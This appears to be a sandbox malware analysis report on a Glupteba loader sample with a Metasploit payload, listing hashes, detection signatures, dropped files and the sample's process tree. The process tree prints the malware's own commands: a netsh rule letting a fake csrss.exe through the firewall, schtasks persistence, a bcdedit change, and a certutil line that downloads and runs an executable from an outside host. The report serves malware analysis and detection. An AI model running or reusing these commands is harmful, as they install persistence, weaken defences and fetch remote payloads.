Analysis
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max time kernel
139s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
12-06-2022 01:42
General
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Target
2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe
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Size
3.9MB
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MD5
d7cdd366a076f32d242bd88450bde311
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SHA1
f793c13a8374d1d8dd4cb120b376e39c637b251b
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SHA256
2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d
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SHA512
778ab03c6ba1914d00a2cbf55aee4929c426613484d0245d260406085391b0c57c008ce2d97d7e04277f14f68840dddd1070625b9e6fd0947b9f07e7a17d2850
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
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Glupteba
Glupteba is a modular loader written in Golang with various components.
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Glupteba Payload 9 IoCs
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MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
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Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
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Executes dropped EXE 2 IoCs
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Modifies Windows Firewall 1 TTPs 1 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Modifies boot configuration data using bcdedit 1 IoCs
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Drops file in Windows directory 2 IoCs
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 64 IoCs
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Suspicious behavior: EnumeratesProcesses 6 IoCs
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Suspicious use of AdjustPrivilegeToken 17 IoCs
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Suspicious use of WriteProcessMemory 18 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe"C:\Users\Admin\AppData\Local\Temp\2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe"C:\Users\Admin\AppData\Local\Temp\2368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d.exe"2⤵
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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Filesize
3.9MB
MD5d7cdd366a076f32d242bd88450bde311
SHA1f793c13a8374d1d8dd4cb120b376e39c637b251b
SHA2562368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d
SHA512778ab03c6ba1914d00a2cbf55aee4929c426613484d0245d260406085391b0c57c008ce2d97d7e04277f14f68840dddd1070625b9e6fd0947b9f07e7a17d2850
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Filesize
3.9MB
MD5d7cdd366a076f32d242bd88450bde311
SHA1f793c13a8374d1d8dd4cb120b376e39c637b251b
SHA2562368799bc40e3c6a7895db71b9491866016df177c1a00c8296af9964101fef8d
SHA512778ab03c6ba1914d00a2cbf55aee4929c426613484d0245d260406085391b0c57c008ce2d97d7e04277f14f68840dddd1070625b9e6fd0947b9f07e7a17d2850
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Filesize
8.0MB
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Filesize
11.6MB
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Filesize
11.6MB
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Filesize
11.6MB
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Filesize
3.7MB
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Filesize
11.6MB
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Filesize
11.6MB
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Filesize
11.6MB
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Filesize
3.7MB
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Filesize
3.7MB
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Filesize
11.6MB
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Filesize
11.6MB